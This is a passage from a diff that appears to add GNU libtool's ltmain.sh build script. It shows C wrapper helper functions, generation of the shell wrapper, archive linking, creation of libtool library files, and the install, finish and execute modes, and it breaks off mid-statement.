lt_fatal ("Memory exhausted"); + + return p; +} + +char * +xstrdup (const char *string) +{ + return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL +; +} + +char * +basename (const char *name) +{ + const char *base; + +#if defined (HAVE_DOS_BASED_FILE_SYSTEM) + /* Skip over the disk name in MSDOS pathnames. */ + if (isalpha (name[0]) && name[1] == ':') + name += 2; +#endif + + for (base = name; *name; name++) + if (IS_DIR_SEPARATOR (*name)) + base = name + 1; + return (char *) base; +} + +char * +fnqualify(const char *path) +{ + size_t size; + char *p; + char tmp[LT_PATHMAX + 1]; + + assert(path != NULL); + + /* Is it qualified already? */ +#if defined (HAVE_DOS_BASED_FILE_SYSTEM) + if (isalpha (path[0]) && path[1] == ':') + return xstrdup (path); +#endif + if (IS_DIR_SEPARATOR (path[0])) + return xstrdup (path); + + /* prepend the current directory */ + /* doesn't handle '~' */ + if (getcwd (tmp, LT_PATHMAX) == NULL) + lt_fatal ("getcwd failed"); + size = strlen(tmp) + 1 + strlen(path) + 1; /* +2 for '/' and '\0' */ + p = XMALLOC(char, size); + sprintf(p, "%s%c%s", tmp, DIR_SEPARATOR, path); + return p; +} + +char * +strendzap(char *str, const char *pat) +{ + size_t len, patlen; + + assert(str != NULL); + assert(pat != NULL); + + len = strlen(str); + patlen = strlen(pat); + + if (patlen <= len) + { + str += len - patlen; + if (strcmp(str, pat) == 0) + *str = '\0'; + } + return str; +} + +static void +lt_error_core (int exit_status, const char * mode, + const char * message, va_list ap) +{ + fprintf (stderr, "%s: %s: ", program_name, mode); + vfprintf (stderr, message, ap); + fprintf (stderr, ".\n"); + + if (exit_status >= 0) + exit (exit_status); +} + +void +lt_fatal (const char *message, ...) +{ + va_list ap; + va_start (ap, message); + lt_error_core (EXIT_FAILURE, "FATAL", message, ap); + va_end (ap); +} +EOF + # we should really use a build-platform specific compiler + # here, but OTOH, the wrappers (shell script and this C one) + # are only useful if you want to execute the "real" binary. + # Since the "real" binary is built for $host, then this + # wrapper might as well be built for $host, too. + $run $LTCC -s -o $cwrapper $cwrappersource + ;; + esac + $rm $output + trap "$rm $output; exit $EXIT_FAILURE" 1 2 15 + + $echo > $output "\ +#! $SHELL + +# $output - temporary wrapper script for $objdir/$outputname +# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP +# +# The $output program cannot be directly executed until all the libtool +# libraries that it depends on are installed. +# +# This wrapper script should never be moved out of the build directory. +# If it is, it will not operate correctly. + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed='${SED} -e 1s/^X//' +sed_quote_subst='$sed_quote_subst' + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +relink_command=\"$relink_command\" + +# This environment variable determines our operation mode. +if test \"\$libtool_install_magic\" = \"$magic\"; then + # install mode needs the following variable: + notinst_deplibs='$notinst_deplibs' +else + # When we are sourced in execute mode, \$file and \$echo are already set. + if test \"\$libtool_execute_magic\" != \"$magic\"; then + echo=\"$qecho\" + file=\"\$0\" + # Make sure echo works. + if test \"X\$1\" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift + elif test \"X\`(\$echo '\t') 2>/dev/null\`\" = 'X\t'; then + # Yippee, \$echo works! + : + else + # Restart under the correct shell, and then maybe \$echo will work. + exec $SHELL \"\$0\" --no-reexec \${1+\"\$@\"} + fi + fi\ +" + $echo >> $output "\ + + # Find the directory that this script lives in. + thisdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*$%%'\` + test \"x\$thisdir\" = \"x\$file\" && thisdir=. + + # Follow symbolic links until we get to the real thisdir. + file=\`ls -ld \"\$file\" | ${SED} -n 's/.*-> //p'\` + while test -n \"\$file\"; do + destdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*\$%%'\` + + # If there was a directory component, then change thisdir. + if test \"x\$destdir\" != \"x\$file\"; then + case \"\$destdir\" in + [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;; + *) thisdir=\"\$thisdir/\$destdir\" ;; + esac + fi + + file=\`\$echo \"X\$file\" | \$Xsed -e 's%^.*/%%'\` + file=\`ls -ld \"\$thisdir/\$file\" | ${SED} -n 's/.*-> //p'\` + done + + # Try to get the absolute directory name. + absdir=\`cd \"\$thisdir\" && pwd\` + test -n \"\$absdir\" && thisdir=\"\$absdir\" +" + + if test "$fast_install" = yes; then + $echo >> $output "\ + program=lt-'$outputname'$exeext + progdir=\"\$thisdir/$objdir\" + + if test ! -f \"\$progdir/\$program\" || \\ + { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | ${SED} 1q\`; \\ + test \"X\$file\" != \"X\$progdir/\$program\"; }; then + + file=\"\$\$-\$program\" + + if test ! -d \"\$progdir\"; then + $mkdir \"\$progdir\" + else + $rm \"\$progdir/\$file\" + fi" + + $echo >> $output "\ + + # relink executable if necessary + if test -n \"\$relink_command\"; then + if relink_command_output=\`eval \$relink_command 2>&1\`; then : + else + $echo \"\$relink_command_output\" >&2 + $rm \"\$progdir/\$file\" + exit $EXIT_FAILURE + fi + fi + + $mv \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null || + { $rm \"\$progdir/\$program\"; + $mv \"\$progdir/\$file\" \"\$progdir/\$program\"; } + $rm \"\$progdir/\$file\" + fi" + else + $echo >> $output "\ + program='$outputname' + progdir=\"\$thisdir/$objdir\" +" + fi + + $echo >> $output "\ + + if test -f \"\$progdir/\$program\"; then" + + # Export our shlibpath_var if we have one. + if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then + $echo >> $output "\ + # Add our own library path to $shlibpath_var + $shlibpath_var=\"$temp_rpath\$$shlibpath_var\" + + # Some systems cannot cope with colon-terminated $shlibpath_var + # The second colon is a workaround for a bug in BeOS R4 sed + $shlibpath_var=\`\$echo \"X\$$shlibpath_var\" | \$Xsed -e 's/::*\$//'\` + + export $shlibpath_var +" + fi + + # fixup the dll searchpath if we need to. + if test -n "$dllsearchpath"; then + $echo >> $output "\ + # Add the dll search path components to the executable PATH + PATH=$dllsearchpath:\$PATH +" + fi + + $echo >> $output "\ + if test \"\$libtool_execute_magic\" != \"$magic\"; then + # Run the actual program with our arguments. +" + case $host in + # Backslashes separate directories on plain windows + *-*-mingw | *-*-os2*) + $echo >> $output "\ + exec \$progdir\\\\\$program \${1+\"\$@\"} +" + ;; + + *) + $echo >> $output "\ + exec \$progdir/\$program \${1+\"\$@\"} +" + ;; + esac + $echo >> $output "\ + \$echo \"\$0: cannot exec \$program \${1+\"\$@\"}\" + exit $EXIT_FAILURE + fi + else + # The program doesn't exist. + \$echo \"\$0: error: \$progdir/\$program does not exist\" 1>&2 + \$echo \"This script is just a wrapper for \$program.\" 1>&2 + $echo \"See the $PACKAGE documentation for more information.\" 1>&2 + exit $EXIT_FAILURE + fi +fi\ +" + chmod +x $output + fi + exit $EXIT_SUCCESS + ;; + esac + + # See if we need to build an old-fashioned archive. + for oldlib in $oldlibs; do + + if test "$build_libtool_libs" = convenience; then + oldobjs="$libobjs_save" + addlibs="$convenience" + build_libtool_libs=no + else + if test "$build_libtool_libs" = module; then + oldobjs="$libobjs_save" + build_libtool_libs=no + else + oldobjs="$old_deplibs $non_pic_objects" + fi + addlibs="$old_convenience" + fi + + if test -n "$addlibs"; then + gentop="$output_objdir/${outputname}x" + generated="$generated $gentop" + + func_extract_archives $gentop $addlibs + oldobjs="$oldobjs $func_extract_archives_result" + fi + + # Do each command in the archive commands. + if test -n "$old_archive_from_new_cmds" && test "$build_libtool_libs" = yes; then + cmds=$old_archive_from_new_cmds + else + eval cmds=\"$old_archive_cmds\" + + if len=`expr "X$cmds" : ".*"` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + cmds=$old_archive_cmds + else + # the command line is too long to link in one step, link in parts + $echo "using piecewise archive linking..." + save_RANLIB=$RANLIB + RANLIB=: + objlist= + concat_cmds= + save_oldobjs=$oldobjs + # GNU ar 2.10+ was changed to match POSIX; thus no paths are + # encoded into archives. This makes 'ar r' malfunction in + # this piecewise linking case whenever conflicting object + # names appear in distinct ar calls; check, warn and compensate. + if (for obj in $save_oldobjs + do + $echo "X$obj" | $Xsed -e 's%^.*/%%' + done | sort | sort -uc >/dev/null 2>&1); then + : + else + $echo "$modename: warning: object name conflicts; overriding AR_FLAGS to 'cq'" 1>&2 + $echo "$modename: warning: to ensure that POSIX-compatible ar will work" 1>&2 + AR_FLAGS=cq + fi + # Is there a better way of finding the last object in the list? + for obj in $save_oldobjs + do + last_oldobj=$obj + done + for obj in $save_oldobjs + do + oldobjs="$objlist $obj" + objlist="$objlist $obj" + eval test_cmds=\"$old_archive_cmds\" + if len=`expr "X$test_cmds" : ".*"` && + test "$len" -le "$max_cmd_len"; then + : + else + # the above command should be used before it gets too long + oldobjs=$objlist + if test "$obj" = "$last_oldobj" ; then + RANLIB=$save_RANLIB + fi + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\" + objlist= + fi + done + RANLIB=$save_RANLIB + oldobjs=$objlist + if test "X$oldobjs" = "X" ; then + eval cmds=\"\$concat_cmds\" + else + eval cmds=\"\$concat_cmds~\$old_archive_cmds\" + fi + fi + fi + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + eval cmd=\"$cmd\" + IFS="$save_ifs" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + done + + if test -n "$generated"; then + $show "${rm}r$generated" + $run ${rm}r$generated + fi + + # Now create the libtool archive. + case $output in + *.la) + old_library= + test "$build_old_libs" = yes && old_library="$libname.$libext" + $show "creating $output" + + # Preserve any variables that may affect compiler behavior + for var in $variables_saved_for_relink; do + if eval test -z \"\${$var+set}\"; then + relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command" + elif eval var_value=\$$var; test -z "$var_value"; then + relink_command="$var=; export $var; $relink_command" + else + var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"` + relink_command="$var=\"$var_value\"; export $var; $relink_command" + fi + done + # Quote the link command for shipping. + relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)" + relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"` + if test "$hardcode_automatic" = yes ; then + relink_command= + fi + + + # Only create the output if not a dry run. + if test -z "$run"; then + for installed in no yes; do + if test "$installed" = yes; then + if test -z "$install_libdir"; then + break + fi + output="$output_objdir/$outputname"i + # Replace all uninstalled libtool libraries with the installed ones + newdependency_libs= + for deplib in $dependency_libs; do + case $deplib in + *.la) + name=`$echo "X$deplib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` + if test -z "$libdir"; then + $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdependency_libs="$newdependency_libs $libdir/$name" + ;; + *) newdependency_libs="$newdependency_libs $deplib" ;; + esac + done + dependency_libs="$newdependency_libs" + newdlfiles= + for lib in $dlfiles; do + name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` + if test -z "$libdir"; then + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdlfiles="$newdlfiles $libdir/$name" + done + dlfiles="$newdlfiles" + newdlprefiles= + for lib in $dlprefiles; do + name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` + if test -z "$libdir"; then + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdlprefiles="$newdlprefiles $libdir/$name" + done + dlprefiles="$newdlprefiles" + else + newdlfiles= + for lib in $dlfiles; do + case $lib in + [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; + *) abs=`pwd`"/$lib" ;; + esac + newdlfiles="$newdlfiles $abs" + done + dlfiles="$newdlfiles" + newdlprefiles= + for lib in $dlprefiles; do + case $lib in + [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; + *) abs=`pwd`"/$lib" ;; + esac + newdlprefiles="$newdlprefiles $abs" + done + dlprefiles="$newdlprefiles" + fi + $rm $output + # place dlname in correct position for cygwin + tdlname=$dlname + case $host,$output,$installed,$module,$dlname in + *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll) tdlname=../bin/$dlname ;; + esac + $echo > $output "\ +# $outputname - a libtool library file +# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP +# +# Please DO NOT delete this file! +# It is necessary for linking the library. + +# The name that we can dlopen(3). +dlname='$tdlname' + +# Names of this library. +library_names='$library_names' + +# The name of the static archive. +old_library='$old_library' + +# Libraries that this one depends upon. +dependency_libs='$dependency_libs' + +# Version information for $libname. +current=$current +age=$age +revision=$revision + +# Is this an already installed library? +installed=$installed + +# Should we warn about portability when linking against -modules? +shouldnotlink=$module + +# Files to dlopen/dlpreopen +dlopen='$dlfiles' +dlpreopen='$dlprefiles' + +# Directory that this library needs to be installed in: +libdir='$install_libdir'" + if test "$installed" = no && test "$need_relink" = yes; then + $echo >> $output "\ +relink_command=\"$relink_command\"" + fi + done + fi + + # Do a symbolic link so that the libtool archive can be found in + # LD_LIBRARY_PATH before the program is installed. + $show "(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)" + $run eval '(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)' || exit $? + ;; + esac + exit $EXIT_SUCCESS + ;; + + # libtool install mode + install) + modename="$modename: install" + + # There may be an optional sh(1) argument at the beginning of + # install_prog (especially on Windows NT). + if test "$nonopt" = "$SHELL" || test "$nonopt" = /bin/sh || + # Allow the use of GNU shtool's install command. + $echo "X$nonopt" | $Xsed | grep shtool > /dev/null; then + # Aesthetically quote it. + arg=`$echo "X$nonopt" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*) + arg="\"$arg\"" + ;; + esac + install_prog="$arg " + arg="$1" + shift + else + install_prog= + arg="$nonopt" + fi + + # The real first argument should be the name of the installation program. + # Aesthetically quote it. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*) + arg="\"$arg\"" + ;; + esac + install_prog="$install_prog$arg" + + # We need to accept at least all the BSD install flags. + dest= + files= + opts= + prev= + install_type= + isdir=no + stripme= + for arg + do + if test -n "$dest"; then + files="$files $dest" + dest="$arg" + continue + fi + + case $arg in + -d) isdir=yes ;; + -f) prev="-f" ;; + -g) prev="-g" ;; + -m) prev="-m" ;; + -o) prev="-o" ;; + -s) + stripme=" -s" + continue + ;; + -*) ;; + + *) + # If the previous option needed an argument, then skip it. + if test -n "$prev"; then + prev= + else + dest="$arg" + continue + fi + ;; + esac + + # Aesthetically quote the argument. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*) + arg="\"$arg\"" + ;; + esac + install_prog="$install_prog $arg" + done + + if test -z "$install_prog"; then + $echo "$modename: you must specify an install program" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test -n "$prev"; then + $echo "$modename: the \`$prev' option requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test -z "$files"; then + if test -z "$dest"; then + $echo "$modename: no file or destination specified" 1>&2 + else + $echo "$modename: you must specify a destination" 1>&2 + fi + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Strip any trailing slash from the destination. + dest=`$echo "X$dest" | $Xsed -e 's%/$%%'` + + # Check to see that the destination is a directory. + test -d "$dest" && isdir=yes + if test "$isdir" = yes; then + destdir="$dest" + destname= + else + destdir=`$echo "X$dest" | $Xsed -e 's%/[^/]*$%%'` + test "X$destdir" = "X$dest" && destdir=. + destname=`$echo "X$dest" | $Xsed -e 's%^.*/%%'` + + # Not a directory, so check to see that there is only one file specified. + set dummy $files + if test "$#" -gt 2; then + $echo "$modename: \`$dest' is not a directory" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + fi + case $destdir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + for file in $files; do + case $file in + *.lo) ;; + *) + $echo "$modename: \`$destdir' must be an absolute directory name" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + done + ;; + esac + + # This variable tells wrapper scripts just to set variables rather + # than running their programs. + libtool_install_magic="$magic" + + staticlibs= + future_libdirs= + current_libdirs= + for file in $files; do + + # Do each installation. + case $file in + *.$libext) + # Do the static libraries later. + staticlibs="$staticlibs $file" + ;; + + *.la) + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$file' is not a valid libtool archive" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + library_names= + old_library= + relink_command= + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Add the libdir to current_libdirs if it is the destination. + if test "X$destdir" = "X$libdir"; then + case "$current_libdirs " in + *" $libdir "*) ;; + *) current_libdirs="$current_libdirs $libdir" ;; + esac + else + # Note the libdir as a future libdir. + case "$future_libdirs " in + *" $libdir "*) ;; + *) future_libdirs="$future_libdirs $libdir" ;; + esac + fi + + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`/ + test "X$dir" = "X$file/" && dir= + dir="$dir$objdir" + + if test -n "$relink_command"; then + # Determine the prefix the user has applied to our future dir. + inst_prefix_dir=`$echo "$destdir" | $SED "s%$libdir\$%%"` + + # Don't allow the user to place us outside of our expected + # location b/c this prevents finding dependent libraries that + # are installed to the same prefix. + # At present, this check doesn't affect windows .dll's that + # are installed into $libdir/../bin (currently, that works fine) + # but it's something to keep an eye on. + if test "$inst_prefix_dir" = "$destdir"; then + $echo "$modename: error: cannot install \`$file' to a directory not ending in $libdir" 1>&2 + exit $EXIT_FAILURE + fi + + if test -n "$inst_prefix_dir"; then + # Stick the inst_prefix_dir data into the link command. + relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"` + else + relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%%"` + fi + + $echo "$modename: warning: relinking \`$file'" 1>&2 + $show "$relink_command" + if $run eval "$relink_command"; then : + else + $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2 + exit $EXIT_FAILURE + fi + fi + + # See the names of the shared library. + set dummy $library_names + if test -n "$2"; then + realname="$2" + shift + shift + + srcname="$realname" + test -n "$relink_command" && srcname="$realname"T + + # Install the shared library and build the symlinks. + $show "$install_prog $dir/$srcname $destdir/$realname" + $run eval "$install_prog $dir/$srcname $destdir/$realname" || exit $? + if test -n "$stripme" && test -n "$striplib"; then + $show "$striplib $destdir/$realname" + $run eval "$striplib $destdir/$realname" || exit $? + fi + + if test "$#" -gt 0; then + # Delete the old symlinks, and create new ones. + for linkname + do + if test "$linkname" != "$realname"; then + $show "(cd $destdir && $rm $linkname && $LN_S $realname $linkname)" + $run eval "(cd $destdir && $rm $linkname && $LN_S $realname $linkname)" + fi + done + fi + + # Do each command in the postinstall commands. + lib="$destdir/$realname" + cmds=$postinstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + + # Install the pseudo-library for information purposes. + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + instname="$dir/$name"i + $show "$install_prog $instname $destdir/$name" + $run eval "$install_prog $instname $destdir/$name" || exit $? + + # Maybe install the static library, too. + test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library" + ;; + + *.lo) + # Install (i.e. copy) a libtool object. + + # Figure out destination file name, if it wasn't already specified. + if test -n "$destname"; then + destfile="$destdir/$destname" + else + destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + destfile="$destdir/$destfile" + fi + + # Deduce the name of the destination old-style object file. + case $destfile in + *.lo) + staticdest=`$echo "X$destfile" | $Xsed -e "$lo2o"` + ;; + *.$objext) + staticdest="$destfile" + destfile= + ;; + *) + $echo "$modename: cannot copy a libtool object to \`$destfile'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + # Install the libtool object if requested. + if test -n "$destfile"; then + $show "$install_prog $file $destfile" + $run eval "$install_prog $file $destfile" || exit $? + fi + + # Install the old object if enabled. + if test "$build_old_libs" = yes; then + # Deduce the name of the old-style object file. + staticobj=`$echo "X$file" | $Xsed -e "$lo2o"` + + $show "$install_prog $staticobj $staticdest" + $run eval "$install_prog \$staticobj \$staticdest" || exit $? + fi + exit $EXIT_SUCCESS + ;; + + *) + # Figure out destination file name, if it wasn't already specified. + if test -n "$destname"; then + destfile="$destdir/$destname" + else + destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + destfile="$destdir/$destfile" + fi + + # If the file is missing, and there is a .exe on the end, strip it + # because it is most likely a libtool script we actually want to + # install + stripped_ext="" + case $file in + *.exe) + if test ! -f "$file"; then + file=`$echo $file|${SED} 's,.exe$,,'` + stripped_ext=".exe" + fi + ;; + esac + + # Do a test to see if this is really a libtool program. + case $host in + *cygwin*|*mingw*) + wrapper=`$echo $file | ${SED} -e 's,.exe$,,'` + ;; + *) + wrapper=$file + ;; + esac + if (${SED} -e '4q' $wrapper | grep "^# Generated by .*$PACKAGE")>/dev/null 2>&1; then + notinst_deplibs= + relink_command= + + # To insure that "foo" is sourced, and not "foo.exe", + # finese the cygwin/MSYS system by explicitly sourcing "foo." + # which disallows the automatic-append-.exe behavior. + case $build in + *cygwin* | *mingw*) wrapperdot=${wrapper}. ;; + *) wrapperdot=${wrapper} ;; + esac + # If there is no directory component, then add one. + case $file in + */* | *\\*) . ${wrapperdot} ;; + *) . ./${wrapperdot} ;; + esac + + # Check the variables that should have been set. + if test -z "$notinst_deplibs"; then + $echo "$modename: invalid libtool wrapper script \`$wrapper'" 1>&2 + exit $EXIT_FAILURE + fi + + finalize=yes + for lib in $notinst_deplibs; do + # Check to see that each library is installed. + libdir= + if test -f "$lib"; then + # If there is no directory component, then add one. + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + fi + libfile="$libdir/"`$echo "X$lib" | $Xsed -e 's%^.*/%%g'` ### testsuite: skip nested quoting test + if test -n "$libdir" && test ! -f "$libfile"; then + $echo "$modename: warning: \`$lib' has not been installed in \`$libdir'" 1>&2 + finalize=no + fi + done + + relink_command= + # To insure that "foo" is sourced, and not "foo.exe", + # finese the cygwin/MSYS system by explicitly sourcing "foo." + # which disallows the automatic-append-.exe behavior. + case $build in + *cygwin* | *mingw*) wrapperdot=${wrapper}. ;; + *) wrapperdot=${wrapper} ;; + esac + # If there is no directory component, then add one. + case $file in + */* | *\\*) . ${wrapperdot} ;; + *) . ./${wrapperdot} ;; + esac + + outputname= + if test "$fast_install" = no && test -n "$relink_command"; then + if test "$finalize" = yes && test -z "$run"; then + tmpdir="/tmp" + test -n "$TMPDIR" && tmpdir="$TMPDIR" + tmpdir="$tmpdir/libtool-$$" + save_umask=`umask` + umask 0077 + if $mkdir "$tmpdir"; then + umask $save_umask + else + umask $save_umask + $echo "$modename: error: cannot create temporary directory \`$tmpdir'" 1>&2 + continue + fi + file=`$echo "X$file$stripped_ext" | $Xsed -e 's%^.*/%%'` + outputname="$tmpdir/$file" + # Replace the output file specification. + relink_command=`$echo "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'` + + $show "$relink_command" + if $run eval "$relink_command"; then : + else + $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2 + ${rm}r "$tmpdir" + continue + fi + file="$outputname" + else + $echo "$modename: warning: cannot relink \`$file'" 1>&2 + fi + else + # Install the binary that we compiled earlier. + file=`$echo "X$file$stripped_ext" | $Xsed -e "s%\([^/]*\)$%$objdir/\1%"` + fi + fi + + # remove .exe since cygwin /usr/bin/install will append another + # one anyways + case $install_prog,$host in + */usr/bin/install*,*cygwin*) + case $file:$destfile in + *.exe:*.exe) + # this is ok + ;; + *.exe:*) + destfile=$destfile.exe + ;; + *:*.exe) + destfile=`$echo $destfile | ${SED} -e 's,.exe$,,'` + ;; + esac + ;; + esac + $show "$install_prog$stripme $file $destfile" + $run eval "$install_prog\$stripme \$file \$destfile" || exit $? + test -n "$outputname" && ${rm}r "$tmpdir" + ;; + esac + done + + for file in $staticlibs; do + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + + # Set up the ranlib parameters. + oldlib="$destdir/$name" + + $show "$install_prog $file $oldlib" + $run eval "$install_prog \$file \$oldlib" || exit $? + + if test -n "$stripme" && test -n "$old_striplib"; then + $show "$old_striplib $oldlib" + $run eval "$old_striplib $oldlib" || exit $? + fi + + # Do each command in the postinstall commands. + cmds=$old_postinstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + done + + if test -n "$future_libdirs"; then + $echo "$modename: warning: remember to run \`$progname --finish$future_libdirs'" 1>&2 + fi + + if test -n "$current_libdirs"; then + # Maybe just do a dry run. + test -n "$run" && current_libdirs=" -n$current_libdirs" + exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs' + else + exit $EXIT_SUCCESS + fi + ;; + + # libtool finish mode + finish) + modename="$modename: finish" + libdirs="$nonopt" + admincmds= + + if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then + for dir + do + libdirs="$libdirs $dir" + done + + for libdir in $libdirs; do + if test -n "$finish_cmds"; then + # Do each command in the finish commands. + cmds=$finish_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || admincmds="$admincmds + $cmd" + done + IFS="$save_ifs" + fi + if test -n "$finish_eval"; then + # Do the single finish_eval. + eval cmds=\"$finish_eval\" + $run eval "$cmds" || admincmds="$admincmds + $cmds" + fi + done + fi + + # Exit here if they wanted silent mode. + test "$show" = : && exit $EXIT_SUCCESS + + $echo "----------------------------------------------------------------------" + $echo "Libraries have been installed in:" + for libdir in $libdirs; do + $echo " $libdir" + done + $echo + $echo "If you ever happen to want to link against installed libraries" + $echo "in a given directory, LIBDIR, you must either use libtool, and" + $echo "specify the full pathname of the library, or use the \`-LLIBDIR'" + $echo "flag during linking and do at least one of the following:" + if test -n "$shlibpath_var"; then + $echo " - add LIBDIR to the \`$shlibpath_var' environment variable" + $echo " during execution" + fi + if test -n "$runpath_var"; then + $echo " - add LIBDIR to the \`$runpath_var' environment variable" + $echo " during linking" + fi + if test -n "$hardcode_libdir_flag_spec"; then + libdir=LIBDIR + eval flag=\"$hardcode_libdir_flag_spec\" + + $echo " - use the \`$flag' linker flag" + fi + if test -n "$admincmds"; then + $echo " - have your system administrator run these commands:$admincmds" + fi + if test -f /etc/ld.so.conf; then + $echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'" + fi + $echo + $echo "See any operating system documentation about shared libraries for" + $echo "more information, such as the ld(1) and ld.so(8) manual pages." + $echo "----------------------------------------------------------------------" + exit $EXIT_SUCCESS + ;; + + # libtool execute mode + execute) + modename="$modename: execute" + + # The first argument is the command name. + cmd="$nonopt" + if test -z "$cmd"; then + $echo "$modename: you must specify a COMMAND" 1>&2 + $echo "$help" + exit $EXIT_FAILURE + fi + + # Handle -dlopen flags immediately. + for file in $execute_dlfiles; do + if test ! -f "$file"; then + $echo "$modename: \`$file' is not a file" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + dir= + case $file in + *.la) + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Read the libtool library. + dlname= + library_names= + + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Skip this library if it cannot be dlopened. + if test -z "$dlname"; then + # Warn if it was a shared library. + test -n "$library_names" && $echo "$modename: warning: \`$file' was not linked with \`-export-dynamic'" + continue + fi + + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$file" && dir=. + + if test -f "$dir/$objdir/$dlname"; then + dir="$dir/$objdir" + else + $echo "$modename: cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'" 1>&2 + exit $EXIT_FAILURE + fi + ;; + + *.lo) + # Just add the directory containing the .lo file. + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$file" && dir=. + ;; + + *) + $echo "$modename: warning \`-dlopen' is ignored for non-libtool libraries and objects" 1>&2 + continue + ;; + esac + + # Get the absolute pathname. + absdir=`cd "$dir" && pwd` + test -n "$absdir" && dir="$absdir" + + # Now add the directory to shlibpath_var. + if eval "test -z \"\$$shlibpath_var\""; then + eval "$shlibpath_var=\"\$dir\"" + else 